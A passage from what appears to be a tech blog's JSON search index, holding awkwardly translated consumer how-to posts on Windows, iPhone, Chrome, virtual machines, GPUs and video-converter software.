new Linux kernel version on Ubuntu!\nncG1vNJzZmismaXArq3KnmWcp51kwrGwwK2cZqSZo8K5ecqeqaednGK8r3nUm6ynrKViw6qtjK6irq0%3D\n","link":"/post/update-linux-kernel-on-ubuntu-via-ukuu/","section":"post","tags":null,"title":"Update Linux kernel on Ubuntu via UKUU"},{"body":"Low power mode reduces brightness and visual effects Continuously using the phone at maximum brightness will cause the battery to lose very quickly. Fortunately, we have a low power mode that solves this.\nYou can still turn on the screen according to the desired level when using the low power mode. However, your iPhone will default to a brightness level when this setting is activated.\nYour display screen will automatically lock with the fastest time, only about 30 seconds of inactivity. This can be a huge help in saving battery life, especially if your auto-lock time is set to be around 4-5 minutes or more.\nWhen the low power mode is activated, you will notice some visual effects in the game will be reduced. Experience the look while playing games in low power mode will not be perfect.\nLive wallpaper is replaced with still image, some motion effects are reduced or turned off.\nLow power mode disables background app refresh Low power mode disables background app refresh completely. When the low power mode is turned off, background app refresh will be activated again.\n  This means you may experience a slowdown when opening an application because the application has to download the latest data for the user to use.\nLow power mode pauses many network processes If your apps are set to update automatically but your iPhone is on low power mode, apps won't be able to update automatically.\nWhen the low power mode is turned off (or the phone has been charged to 80%), the app on the device will automatically update again.\nWith this mode enabled, all data will not be uploaded to iCloud until you turn it off.\n5G is already on the iPhone 12, and although this is the new standard of cellular data, it also consumes a lot of battery. Low power mode turns off 5G except for using them in video streaming services, as long as you have it turned on.\nLow power mode prevents e-mail from being pushed Your iPhone receives emails that are pushed to by a server. It also requires a decent amount of battery to load emails, especially if your phone loads emails frequently (every 15-30 minutes). Low power mode also deactivates this feature.\nDoes the phone charge faster in low power mode? Yes, your iPhone actually charges faster when it is on low power mode. As far as we know, low power mode to turn off many unnecessary battery draining processes so make sure your phone must charge faster then.\nWhen your phone is charged to 80%, low power mode turns off automatically.\nIs switching on low power continuously low? The answer is no. Low power mode is very safe, you can turn it on continuously and do no harm to the battery, unlike plugging in for too long.\nYou can check the battery quality on your phone in Settings\u0026gt; Battery\u0026gt; Battery Health.\niphone low power mode ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWcpMRuvM6wnKtlnaSxpnnOp2SiqJiku6Y%3D\n","link":"/post/what-is-low-power-mode-on-iphone/","section":"post","tags":null,"title":"What is Low Power Mode on iPhone?"},{"body":"Here are 25 beautiful photos of straight scenes, life, Vietnamese villages from North to South posted on Buzzfeed, which makes anyone want to carry backpacks and come immediately.\nNational Geographic: 19 wonderful natural photos 2016 19 beautiful pictures to \"suffocate\" make you think that you are on another planet, not Earth Marvel at 12 picturesque nature pictures   Picturesque terraced fields in the season of ripe rice in the mountains of northern Vietnam.(Photo: Tho Le Duc / nationalgeographic.com).\n  And the enchanting scenery in Bac Son and Lang Son valleys.(Photo Nguyen Viet Thanh /smithsonianmag.com).\n The mountain of the same message extended as endless in Ha Giang.\n  The winding road is full of souls in Ha Giang.(Photo Nhi Dang / Flickr: 61690238 @ N03).\n  The idyllic beauty of the countryside in Ninh Binh.(Photo: Michaël Garrigues / Flickr: lain32).\n Amazing wonders - Halong Bay.(Photo: Nathan O'Nions / Flickr: nathanoliverphotography).\n  The lyrical and peaceful beauty of the fishing village on the bay.\n You should go to Halong Bay once to discover the beauty here.(Andrea Schaffer / Flickr photo: aschaf).\n It will be a huge omission if you do not set foot in Hanoi.(Photo Justin Guariglia / nationalgeographic.com).\n  The ordinary everyday life of Hanoi people.(Photo Dominique Bergeron / Via Flickr: dominiqueb).\n  Train tracks are located in the residential area of ​​Hanoi Old Quarter.This scene is called by many visitors as \"unique place in the world\" or \"only in Vietnam\".(Marco Sarli / Flickr photo: marcosarli).\n  The old street corner of Hanoi.(Photo Maarten Thewissen / Flickr: 29310594 @ N05).\n  Sunset in Hue.(Photo: Hoang Giang Hai / Flickr: v-à-k).\n  Hue city started to light up.(Photo: Hoang Giang Hai / Flickr: vak).\n  River water is charming and Western-style in Rach Gia, Kien Giang.(Image Blue Fam / Flickr: bluefam).\n  Harvesting waterlily on the river in Chau Doc, An Giang.(Photo Nhiem Hoang / smithsonianmag.com).\n  Beautiful beach with clear water in Con Dao.(Photo: David Meenagh / Flickr: meenaghd).\n  Beautiful scenery at Nha Trang beach, Khanh Hoa.(Photo of Hmong / Flickr: hmoong).\n  Hoi An Ancient Town is a great destination for those who like to find somewhere ancient.(Exotissimo Travel / Flickr photo: exotissimo)\n  Beautiful night scene in Hoi An.(Photo Loi Nguyen Duc / Flickr: 85675121 @ N04).\n  CityDa Nang glows with lights and light roads.(Photo: Khan G Nguyen / Flickr: gienkhan).\n  The cable car to visit the place as the first sight of clouds flies halfway up the mountain in Ba Na, Da Nang.(Photo Trang Nguyen / theguardian.com).\n  Hang En, a cave located in Phong Nha - Ke Bang, Quang Binh National Park.(Photo of Carsten Peter / nationalgeographic.com).\n  Mui Ne, paradise of sun, wind and sand.(Photo Ng Yeow Kee / nationalgeographic.com).\n  Ba Thien Hau Pagoda, the oldest temple in Ho Chi Minh City.(Photo William Cho / Flickr: adforce1).\nncG1vNJzZmismaXArq3KnmWcp51kf3Z5wZ6YrqyZm8Ktec%2Bimq2toprAbrvFZq2inaSjrq55zJqinmWppMJuv8CyZKaxXZi8trrTq7BmoaNiwLB5wZ6YrqyZm8Kt\n","link":"/post/25-beautiful-pictures-of-vietnam-make-you-say-my-country-is-so-beautiful/","section":"post","tags":null,"title":"25 beautiful pictures of Vietnam make you say 'My country is so beautiful!'"},{"body":"In addition to launching the new Athlon 3000G - unlockable overclocking CPU in the budget segment, AMD has just released the first 7nm GPU for its workstation called Radeon Pro W5700 with many features. Very noticeable feature.\nThis is the first professional graphics card that marks the appearance of the Radeon Pro W5000 series and is based on the latest RDNA architecture of the US chip manufacturer, promising to bring higher performance. up to 25% per beat compared to previous GCN architecture.\n  Not only that, Radeon Pro W5700 also promises to provide up to 41% more processing performance per watt than the Gade-based Radeon Pro WX 8200, and is said to save up to 18% more power. compared to rival Nvidia Quadro RTX 4000 GPU. In addition, AMD is proud to announce its product will have better multitasking capabilities when the CPU is being loaded, promising up to 5.6 times the processing performance of an Nvidia card in the equivalent segment. (in Specviewperf 13's measurements) - very impressive numbers.\nAMD says the Radeon Pro W5700 is currently the world's first workstation GPU to support the PCIe 4.0 standard, and it also comes with advanced GDDR6 8GB memory. And yet, this is also the first workstation GPU to be equipped with a USB Type-C input signal port, providing support for a larger number of screens than other products.\nWith the above equipment, we can say that the Redeon Pro W5700 is the ideal choice for tasks related to 3D design, architecture, visualization processing, real-time modeling and VR.\nHere is a quick summary of the specifications of the Radeon Pro W5700:\n  The AMD Radeon Pro W5700 has been sold in North America, EMEA and Asia Pacific, with prices starting at $ 799.\nncG1vNJzZmismaXArq3KnmWcp51krq6wjKWYrqaTnbK0edGam56nnmK9s7uMsGxwaGBiwamxjJ%2Bgq6ukYoSvuYygp65llqS%2FbsPOq6KsrJGptrC60g%3D%3D\n","link":"/post/amd-launches-radeon-pro-w5700-the-first-7nm-gpu-for-workstations/","section":"post","tags":null,"title":"AMD launches Radeon Pro W5700, the first 7nm GPU for workstations"},{"body":"Installing\u0026nbsp; the \u0026nbsp;Canon LBP 2900 printer is relatively simple. However, some computers cannot install Canon LBP 2900 printer driver\u0026nbsp; \u0026nbsp;and report Unspecified error. So how to fix the Canon LBP 2900 printer not being installed error. This article will show you how to fix the Canon 2900 printer unspecified error. Stay tuned!\n- Your\u0026nbsp; computer \u0026nbsp;may have Windows errors, although it doesn't happen often, but you need to be careful. Windows errors that affect printing and receiving print jobs.\n- Error due to loose or damaged connection cable during use.\n- Due to Driver error: The power is on, the light is green but still does not work, you should review the driver software.\n  Step 1: Open Control Panel \u0026gt; Click on the item Netword and Sharing Center.\n  Step 2: Click Change advanced sharing settings \u0026gt; Tick select Turn off file and printer sharing.\n  Click Change advanced sharing settings, tick the box Turn off file and printer sharing\nStep 3: Type Search Services \u0026gt; Find Windows Installer \u0026gt; Right-click, select Start.\n  The above article has shown you how to fix the unspecified error of Canon 2900 printer. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksKK6zqdka3FgZXqxvsinq56qXaq7tLzEnKCfoZWZeqa%2B0aipZpuRqsCmv4yapZ1lo6S5tsDIqKWsZaWjwLGxwqKdop2UYrKzvs6r\n","link":"/post/canon-2900-printer-unspecified-error/","section":"post","tags":null,"title":"Canon 2900 printer unspecified error"},{"body":"Are you experiencing a slow virtual machine problem? Read the following article to learn how to fix the problem.\nThe tutorial will assume you use Windows 10 as a server and use VMWare Player for virtualization, although these tips also apply to other virtualization platforms like Windows Virtual PC and VirtualBox. And also suppose your virtual machine files are stored on the local C drive.\nInstructions to fix virtual machine running slowly 1. Hard drive is fragmented 2. Anti-malware / anti-virus utilities scan virtual machine directories while in use 3. Low system specification 4. Not reserve enough RAM for the virtual machine 5. The virtual client program is not updated 6. Run the virtual machine from an external hard drive 7. The hard drive is slow or due to running many programs. 8. Using virtual machines without installing virtual machine software 9. Graphic drivers are not updated 10. The operating system is not updated 11. Lack of free space on the virtual drive 13. Enabled Intel VT or AMD-v in the BIOS but not in VMware Player 14. Adjust the virtual machine process priority 1. Hard drive is fragmented The first reason virtual machines run slowly is due to fragmentation of the hard drive or virtual drive.\nTip : Linux distributions (ubfox, zorin, etc.) do not need to be fragmented due to the file system it uses. Windows 8 and Windows 10 named Defragging (defragment) as Optimization (optimization).\nDefrag virtual drives:\nLike physical hard drives, virtual hard drives can be fragmented. Defragment rearranges unused files, programs, and space on a virtual drive to make programs run faster and open files faster. Defrag does not regain unused space on the virtual drive. To reclaim unused space, partition the hard drive\nGuide to split hard drive right in Windows 10 For best hard drive performance, follow these steps:\nStep 1 . Run the disk defragmentation tool inside the virtual machine. Access to This PC (or My computer) , right click on the local C drive, select Properties . On the Tools tab, click Defragment now or Optimize .\n  Step 2 . Turn off the virtual machine power when it completes defragmentation in the virtual machine, then defragment the virtual disks from the virtual machine settings editor.\n  Select the virtual disk you want to defragment, then click on Defragment or Optimize .\n  Tip : This method works only for virtual drives, not physical hard drives. The process of defragmenting the drive can take a long time.\nStep 3 . Run the hard drive defragmentation tool on the host computer (physical). Click Start , access This PC (or My computer ), right-click the local C drive, and select Properties . On the Tools tab, click Defragment now or Optimize .\n  Note: Defragmentation requires a free workspace on the server hard drive. If the virtual drive contains a single file, you need free space equal to the size of the virtual drive file. Other virtual drive configurations require less free space.\n2. Anti-malware / anti-virus utilities scan virtual machine directories while in use When using a virtual machine, you may be slow because of anti-virus software or programs like Malwarebytes scan the virtual machine files on the server while in use, slowing down the virtual machine. So you need to remove folders containing virtual machine files, not scans to avoid slowing it down.\nWarning: If you do this, anti-virus and malware programs cannot find infected files in these folders if they exist. Therefore, you should scan virtual machine folders by right-clicking on the folder and selecting scanning with security software.\nTip: This tutorial will work with Malwarebytes. You need to read anti-virus software and other real-time scanners to find the exclusion settings. It is usually in the program settings.\nFirst, open Malwarebytes, click on Settings .\n  Click on the Exclusions tab.\n  Click on Add folder . Select the directory containing the virtual machine files. Click on Select Folder .\n  3. Low system specification You should use at least Intel I3 or AMD A8 (quad core) and 8GB RAM for best performance. Of course, you can run virtual machines with lower specifications but to be able to use virtual machines and open many things without being slow, you should use the system with such statistics.\nMake sure the server has more physical memory than the total memory used for the following:\nServer operating system The application will run naturally on the server The total memory that will be used by the guest operating system and applications on all virtual machines will run at any time. 4. Not reserve enough RAM for the virtual machine Below is a list of recommended system RAM for virtual machines:\nOperating system\nMinimum RAM\nRam recommends\nWindows 98 64MB 128MB Windows 2000 256MB 512MB Windows XP 1GB 2GB Windows Vista 2GB 4GB Windows 7 2GB 4GB Windows 8.1 2GB 4GB Popular Linux distributions 2GB 4GB Warning: You can spend a lot of RAM on an operating system, but with older operating systems like Windows 98, it can crash and become unstable if you give too much RAM.\nYou can find these settings in the RAM settings for the appropriate virtual program. This is where you can find it on VMWare Player:\nFollow step 1 in the image, but select the memory on the setting screen, adjust the RAM parameters here.\n  5. The virtual client program is not updated You need to make sure that VMWare or whatever program you use is up to date.\n6. Run the virtual machine from an external hard drive Running a virtual machine from an external hard drive is not recommended and will slow down the virtual machine unless it's an SSD hard drive on USB 3.0.\n7. The hard drive is slow or due to running many programs. Hard drive speed\nIf your hard drive has a speed of 5400 RPM, consider upgrading to a faster 7200RPM or 10000RPM hard drive.\nAn even better and faster option is to consider buying a HHD / SSD or SSD hybrid hard drive. These hard drives will significantly increase performance by storing virtual machine files there.\nUsing multiple applications\nIf you run multiple applications on the server operating system while using the virtual machine, your virtual machine will be slow. Consider using the second hard drive for virtual machines for best performance. This way, the server operating system and programs will run separately with the virtual machine and the virtual machine can use the maximum speed of the hard drive or SSD.\n8. Using virtual machines without installing virtual machine software If you use VMWare Player, you need to install VMware tool because this significantly affects performance.\n9. Graphic drivers are not updated You need to make sure your system graphics driver is always up to date. To update them, refer to the article How to update drivers for NVIDIA video cards and How to update drivers for AMD video cards on Windows 10.\n10. The operating system is not updated The server operating system as well as the virtual machine operating system or the client computer must be updated to the latest version.\nHow to update Windows 10 to Windows 10 May 2019 (1903) 11. Lack of free space on the virtual drive Tip: This is only really important when you have a more modern operating system. Older operating systems such as Windows 98 have limits on the amount of hard drive that they can see due to the type of file system used. You may need to research the operating system to see the maximum file size and supported hard drive size. Sometimes it's limited by the operating system itself, others by the fat or fat32 file system.\nWhat are FAT32, NTFS, exFAT format? In a virtual machine, access the disk management tool or My computer and see how much space is left. If the virtual drive capacity is low, increase it to have at least 20% of the free space on the storage drive.\nTo do so, follow these steps:\nPrerequisites\nTurn off the virtual machine. Verify that the virtual disk is not mapped or mount. You cannot extend the virtual disk while it is mapped or mounted. Verify that the virtual machine has no snapshots (system status before a specified time). Verify that the virtual machine is not a linked copy or the parent of the linked copy. Procedure:\nStep 1. Select the virtual machine and select VM\u0026gt; Settings .\nStep 2. On the Hardware tab, select the virtual drive to expand.\nStep 3. Select Utilities\u0026gt; Expand .\nStep 4. Set a new maximum size for the virtual drive. You can set the size between 0.001GB to 2TB for a virtual drive.\nStep 5. Select Expand .\nStep 6 . Click OK after the drive expansion process is completed.\n12. Do not enable Intel VT or AMD-v virtualization in the BIOS\nYou need to enable Intel VT or Amd-v virtualization in the BIOS because it adds many performance benefits when using a virtual machine. View the computer documentation or search on Google for device models for instructions on how to do that.\nIs the Virtualization test on Windows 10 enabled? 13. Enabled Intel VT or AMD-v in the BIOS but not in VMware Player If you have hardware that supports virtualization, make sure the virtual machine program is like VMware Player, Virtualbox, etc. use it.\nIn VMware Player, access Virtual machine settings and in the Processor tab, select Virtualize Intel VT-x / EPT or AMD-V / RVI .\n  14. Adjust the virtual machine process priority If none of these resolve the issue, adjust the virtual machine's process priority.\nIn Task Manager on the server that the virtual machine is running on, setting the virtual machine process priority to High can make the virtual machine run more smoothly. Right click and process for virtual machine, select High priority.\nHowever, doing this can cause the server to slow down when doing other things while running the virtual machine because you are telling the virtual machine the computer is the highest priority.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ksKLB0p5kraCVYsOqvtOumKVlnZawqbXNnmSiq12oubDDjJqlnWWYpMRuwM5mnaKwXZ7B\n","link":"/post/cause-the-virtual-machine-is-slow-and-how-to-fix-it/","section":"post","tags":null,"title":"Cause the virtual machine is slow and how to fix it"},{"body":" Your Windows 7 computer is not responding. You try to you try, but you are getting nowhere. Get your computer out of this bind and back up and running by following an easy path. Remember to try the steps in the order presented for the...\nMethod 1of 3:\nUsing Keyboard Shortcuts  Press Alt+F4. Usually, this will quit the browser and any programs which are open.\n Method 2of 3:\nUsing Task Manager  Press Ctrl+⇧ Shift+Esc. This will open Task Manager. Alternatively, press Ctrl+Alt+Delete, then click on \"Start Task Manager.\"   Click on the unresponsive program. It should become highlighted. If there are additional unresponsive programs, Ctrl+Click on the additional programs. Any action you initiate will be performed on all the highlighted items and only on the highlighted items.   Click End Task. The computer will try to shut down the selected program(s).\n Method 3of 3:\nRestarting the Computer Soft Resart  Press ⊞ Win.\n  Select \"Restart.\"\n Hard Restart  Press and hold the On/Off switch until the computer powers down. This will be indicated by \"power\" LED going dark and the cooling fan stopping. This should only be used as a last resort because you will lose unsaved information in programs and files which are still open.   Wait at least 20 seconds.\n  Power the computer back on.\n  Wait for the computer to come up. It is likely that you will receive a warning message that the computer was shut down improperly.\n  Hit enter to clear the warning message if it has been displayed. The boot sequence will then resume.\n  Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucpMCmecBmp6unl6eurnnToZitZZmoeq%2B702apnqugpLultc2gZKKmXay2r7DOsKpmbw%3D%3D\n","link":"/post/how-to-close-a-program-that-is-not-responding-in-windows-7/","section":"post","tags":null,"title":"How to Close a Program That Is Not Responding in Windows 7"},{"body":"Action Center is a very new feature built into Microsoft Windows 10 operating system. It allows you to quickly activate some functions as well as review notifications of previous applications.\nAnd if you are someone who regularly uses Action Center on your computer to perform operations, you can completely create notes here with Action Note application.\nIn this article, let's go learn how to create notes in Action with Action Note app on Windows 10!\n1. Introduction to Action Note application On the Windows 10 operating system, there are also many applications that support note creation, typically Sticky Notes, which has existed on the Windows operating system for a long time (from Windows XP version), It allows you to create and pin notes to Windows Desktop easily.\nHowever, many people do not like the style of Sticky Notes creating notes, for example, I do. Because leaving these notes on the screen seems rather cumbersome, taking up a lot of space, and secondly, others just need to look at it and see immediately, there is no privacy, especially important notes.\nMy personal opinion is like that, in general it also depends on your purpose of use.\n  Also for the above reasons, someone like me often uses notes to find a new solution called Action Note! Action Note is a free application on the Microsoft Store that allows you to create notes right in the Action Center of Windows 10, just open up to see the note. In addition, if we like, we can also pin these notes to the start menu for easy viewing and monitoring.\n2. How to create notes in Action Center with Action Note application + Step 1: To install the Action Note app, first open the Microsoft Store =\u0026gt; and enter the keyword Action Note in the search box =\u0026gt; then press the Enter key.\nOr you can click this link!\nLook in the Action Center application's list of results with the icon shown in the picture, and click on it to open the application's introduction page.\n  + Step 2: Here, you just need to click on the green GET button as shown in the picture, all the process of downloading and installing applications into Windows 10 will be automatically performed by the system, you just need to wait until it's done.\nNote: This application is very light, so the download takes less than 1 minute, however, if the download fails, check if the Windows Update service is disabled.\n=\u0026gt; After installation is complete, click the Launch button to run Action Note application.\n  + Step 3: This is the main interface of Action Note, in which tab:\nNotes is where you create, edit, delete, and manage notes. The Archive section is like saving notes, but I still don't understand what it is for and how to back up notes here. Since this software in addition to the free version we are using, it also has a PRO version for about $ 3, allowing you to sync notes across all devices, so the Ugrade tab will be the place for you to upgrade. software.\nAs for the About and Settings lines, you probably know what to do, right, they are information about software and settings, I will talk later.\nNow, click the + sign below to create a new note. To delete all the notes created in the Notes section, click on the 3 dots =\u0026gt; and select Delete All.\n  + Step 4: This is the new interface to create notes of Action Note, enter the name of the note in the box NOTES and the content of the note in the box This is the content of the note! =\u0026gt; then click on the Save icon, but I draw an arrow to it.\nThere are also functions that I numbered, corresponding to those numbers are:\nNumber 1: Share a note, only available when you edit any note. Also you can only share via email. Number 2: Insert sound from your Mic into notes, also known as voice notes. Number 3: Pin the currently edited note to the top of the note list. Number 4: Add attachments to notes, photos, videos . Number 5: Cancel comment editing. Number 6: Since Action Note can show the note in the Windows Action Center, this button lets you hide the note in the Action Center. Number 7: Mark this as an important note, there will be a flag icon next to the list of notes when you activate Number 8: Color is the classification of notes in Action Note, default is all white, click here to change.   How do I pin a note to the Windows Start Menu? At the beginning of the article I said Action Note allows you to pin notes to the Start menu for easy viewing. To do this, first go back to the list of notes in the Notes section.\nRight click on the note in the list that you want to pin it to the Start menu =\u0026gt; then select Pin to Start, a confirmation window will pop up, click Yes and you're done.\nIn addition, you can double-click on any note to edit, choose Delete to delete, and Share to share via Email.\nAttachment icons and flags to indicate that this is an important marked note and with attachments, these 2 icons also appear on the note in the Action Center.\n  This is a note that when you pin it in the Start menu, it will show both the name, part of the content, and the background image if there is an image file attached in it.\n  Now, to add and display any message in the Action Center, click the X or Alt + F4 to close the Action Note.\nNote: The shortcut to quickly access the Action Center is Windows + A\nRest assured that this app will always be running to show the notes in the Action Center and the Start menu for you. Open the Action Center and you will see the notes you created will appear here.\nIn addition, you can also quickly create notes by entering the name in the Tile box, the content in the Detail box and finally click Save.\n  So I just instructed you in detail on how to create notes on Windows 10 with Action Note, so you can display notes right in the Action Center of Windows 10 easily and then ha.\nHope this small application will help you work more efficiently, if you find the article useful, do not forget to share this article for everyone to use. Good luck !\nAction Center Action Note ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYynpq2do2K2r3nAnKuip55isKa6056pZqGeYsSqusOorqxlYWU%3D\n","link":"/post/how-to-create-notes-in-action-center-in-windows-10/","section":"post","tags":null,"title":"How to create notes in Action Center in Windows 10"},{"body":"On Windows, automatic log-in is handy because you can launch the PC program when it starts. You can even let your PC boot automatically at specific times. To improve security, you can let Windows 10 automatically lock and ask for a password after you sign in automatically.\nHow to lock Windows PC after automatic login With auto-lock at sign-in, your PC will automatically log in, launch and start the program on boot - but it'll lock itself and you'll have to enter your password to use it. This is not as secure as avoiding automatic login, as your user account password will still be stored and entered automatically by the system, but it's better than having your PC start up and provision it automatically. an unrestricted desktop.\nTo do this, all you have to do is let Windows run the command after it's logged in:\nrundll32.exe user32.dll, LockWorkStation This command will lock the system. It accomplishes the same function as pressing Windows + L . There are several ways to get Windows to run it when logged in, including in Group Policy. The easiest way, however, is to simply add a key shortcut to your Startup folder .\nI did this process on Windows 10, but it should also work on older versions of Windows, including Windows 8 and Windows 7.\nCreate key shortcuts First, open the Startup folder. To do so, press Windows + R to open a Run dialog box , type the following line and press Enter :\nshell:startup In the Startup folder , right-click and choose New\u0026gt; Shortcut .\n Create a new shortcut\nIn the Create Shortcut dialog box , copy and paste (or type) the following command:\nrundll32.exe user32.dll, LockWorkStation Click Next to continue.\n Click Next to continue\nName the shortcut whatever you like - for example, ' Lock Computer '.\n Name the shortcut\nAll operations are completed!\nIf you double-click the created shortcut, Windows will lock the computer. You will then have to sign in with your password, PIN or any other login method you use.\nWhen you log in to your PC, Windows launches this shortcut along with other startup programs and automatically locks your PC. After you unlock it, you should be able to do everything on the machine as you normally would.\nTo undo the change, just reopen the shell: startup folder and delete the Lock Computer shortcut you created.\nlock Windows PC ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfmLhuw8inm6ivo2K9pHnAn6ueql2WwrW7zJqroptdobyotc0%3D\n","link":"/post/how-to-lock-windows-pc-after-automatic-login/","section":"post","tags":null,"title":"How to lock Windows PC after automatic login"},{"body":"Picture-in-Picture mode, often abbreviated to PiP, is enabled by Google for Google Chrome browser. It is a handy way that allows you to watch videos in a small floating window outside the browser window or on any other window.\nThis mode allows you to keep an eye on videos that are opened in the Chrome browser while interacting with other websites and applications. However, only one PIP video can be played at a time on the screen. Floating window will appear in the lower right corner of the screen. You can resize or drag the floating window to another location.\nThis mode is available for all major platforms such as Windows, Linux, macOS and ChromeOS running Google Chrome 70.\nIn this article, TipsMake.com will explain how to enable Picture-in-Picture mode in Google Chrome on Debian 10. Please note that you cannot play every video in PiP mode. However, YouTube and Daily Motion will work in PiP mode.\nNote : The article will use the Debian 10 operating system to describe the process mentioned in this article. However, you can use the same method in previous versions of Debian.\nTurn on Picture-in-Picture in Google Chrome Before you begin, make sure you are running the latest version of Chrome browser (Chrome 70). To verify, click the 3 vertical dots in the top right corner of the Chrome browser. Then go to Help\u0026gt; About Google Chrome .\nIf there is any update, download it to get the latest version of Chrome. Once done, relaunch Chrome and you're now ready to turn on Picture-in-Picture mode.\nFollow the steps below to turn on Picture-in-Picture mode in Google Chrome.\nAdd an extension Open Google Chrome in the Debian operating system. Then navigate to the Chrome Web Store to find the Picture-in-Picture extension. After finding it, click the Add to Chrome button to add the extension to your Chrome browser.\nAfter following the above step, a dialog box will appear for you to approve this, click Add extension.\nWhen the extension is added, you will receive a notification.\nActivate extension Once you've finished adding the extension, you can now check out the new PiP feature. To test PiP mode, open any video. You will see the PiP icon in the top corner of the browser. Click it to activate PiP mode. Alternatively, right-click the video twice and from the options menu that appears, select Picture in picture.\nImmediately after selecting this option, you will see a pop-up window containing the video in the lower right corner of the screen.\nYou can now resize the video and drag it to another location around the screen. Floating windows initially appeared small in size. To change its size, place the cursor on the edge of the window and stretch it to the desired size. You can also play and pause videos from this floating window. To close the video, click the X button in the corner of its window.\nBelow is the floating video view mode on the desktop.\nYou may see a floating video while working on the operating system's file manager.\nThat's how you can turn on image mode in Google Chrome browser to enjoy videos when multitasking. However, it should be noted that if you close the main browser window, the floating window will close.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mp6KbpKq%2FpnnIp2SpoZOpwrOxjKamnZ1dnrtus86onqWdXZi1s7vMnmSopl2ZsqO1wKdkamg%3D\n","link":"/post/how-to-turn-on-picture-in-picture-mode-in-google-chrome-on-debian-10/","section":"post","tags":null,"title":"How to turn on Picture in Picture mode in Google Chrome on Debian 10"},{"body":"Possessing many video processing features on one software, WinX HD Video Converter Deluxe offers users features including converting video formats, downloading Youtube videos, Facebook with high quality, creating video slides from the images you choose. choose on the computer.\nComputer video editing software is now very easy for you to search, and WinX HD Video is one of the professional, quality software. The software has a friendly and easy-to-use interface that helps users to be more convenient in the process of use. You can convert video formats to fit mobile devices like Android and iPhone. In addition, we can use WinX HD Video to download videos on Youtube, Facebook with high quality when we can choose the resolution.\nCurrently, the manufacturer has a free software download and use promotion program, without paying 39USD. The following article will show you how to enable WinX HD Video Converter Deluxe and how to convert video formats.\nConvert videos with Format Factory How to convert online video format with Zamzar Top online video editing websites 1. How to install WinX HD Video Converter Deluxe: Step 1:\nFirst, visit the link below to download the software installation archive.\nhttp://soft4all.info/free-software-download/giveaway-download-winx-hd-video-converter-deluxe-for-free/ After downloading, proceed to extract the file. In the unzipped folder click on the winx-hd-converter-deluxe.exe file . License code will be in Read me file - license key.txt.\n  Step 2:\nIn the software installation interface, click Next to start the installation.\n  Switch to the new interface, click I accept the agreement, then click Next to continue.\n  Step 3:\nIf you want to change the software installation directory, click the Browse button or click the Next button to continue.\n  Finally, click Next . Install to install WinX HD Video.\n  Step 4:\nThe software copyright activation interface appears. First, you will enter the registration email in the Licensed Email section . License Code will enter the license key included in the Read me file - license key.txt . Then press the Active button to activate.\n  When the message appears, Registered successfully means that you have successfully activated the WinX HD Video software. Click OK to exit the interface.\n  Step 5:\nBelow is the interface of copyrighted software with full features and unlimited use.\n  2. How to convert video format on WinX HD Video: Step 1:\nAt the software interface, users click the Video button or the plus icon in the middle of the interface to add videos that need to be converted.\nYou wait for the video to be uploaded on the software.\n  Step 2:\nExport the Output Profile interface to select the video format you want to convert on WinX HD Video. In this interface on the left, users can see a list of phone manufacturers, making it easy to choose the format of the video you want to change.\nFor example, if you want to convert video to video format for Android will have Android Pad or Android Mobile, Apple Device will have many other devices.\n  If you click on each classification list, there will be details of different options.\nIn addition, the software also supports converting video formats to upload to Youtube, Facebook, Vimdeo or other video websites.\n  Step 3:\nIn case you do not want to select the mobile video format, click on General profile to view popular and commonly used video formats.\nAfter selecting the video format to use, select the video quality including HQ (High Quality) or LQ (low quality) at the slider to adjust the quality of the video file after conversion. Click OK to continue.\nNote to readers , if you choose the higher quality HQ, the conversion of video format will take more time.\n  Step 4:\nIn this interface, the software will also provide additional video cutting features before proceeding to change the format . Click the Edit button to edit the video.\n  Click the Trim tab , check the Enable Trim option, set the interval to cut the start and end video of the video file in the Start Time and End Time section and then click the Done button to save the setting.\n  Back to the software interface at Destination Folder click the Browse button to select the output folder for the video.\n  Step 5:\nClick on Use High Quality Engine and Deinterlacing to improve the file quality after conversion. Finally click Run to proceed with the video format conversion process.\n  WinX HD Video Converter Deluxe supports video conversion in many formats, with many different mobile devices. You can choose the device suitable for the purpose, or simply convert the video to the popular video formats today.\nSee also: How to cut videos on Windows 10 without software?\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq4tc2xZKGcXau2pbHOZpqopqaav7Wx0WabnqSlrbJur8eapaCdo2LDqrDEqGSfp6KirrU%3D\n","link":"/post/how-to-use-winx-hd-video-converter-deluxe-changes-video-format/","section":"post","tags":null,"title":"How to use WinX HD Video Converter Deluxe changes video format"},{"body":"When the VoiceOver feature is activated, you need to know how to use it on your iPhone phone. This feature may initially embarrass you, but you'll quickly get used to it.\nHere are the main actions you should take into account when using VoiceOver:\n+ Touch an item , VoiceOver will read the name of the item.\n+ Double click on the item to open the application.\n+ Use three fingers to turn pages.\nTip: If using two or three fingers at the same time is too difficult, you can use one finger in one hand and use one or two fingers on the other. When double-clicking or triple-clicking, you must execute them at the same time and quickly.\n  These are additional actions to use VoiceOver.\nAct\nPurpose\nSwipe left or right\nSelect the next or previous item\nClick the screen with 2 fingers\nStop charging up VoiceOver\nSwipe up with two fingers\nAutomatically read all applications in order from top to bottom\nSwipe down with two fingers\nAutomatically read applications from the current position to the bottom\nUse three fingers to swipe up or down\nScroll the page up or down\nUse 3 fingers to swipe left or right\nGo to the next page on the screen\nTap the screen with three fingers\nRead the status of the scroll bar (line 20 of 100)\nUse 4 fingers to swipe up or down\nGo to the top or bottom of the page\nUse 4 fingers to swipe right or left\nGo to the previous or next section (on the website)\nTip: Check some settings of VoiceOver: select Braille language, Language Rotor; image navigation; Install to receive voice notifications.\nSimple way to record calls on iPhone How to shoot sparkling videos with Kirakira + iPhone application When is the last time to restart iPhone? 5 message security tips on iPhone ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnVqKCcnZ%2BrsrN5zqdkoqiYpLum\n","link":"/post/instructions-for-using-voiceover-on-iphone/","section":"post","tags":null,"title":"Instructions for using VoiceOver on iPhone"},{"body":"Safety lights often have a round shape to spread more light. Based on that idea, OliLight is a bit different.\nBasically, OliLight climbing 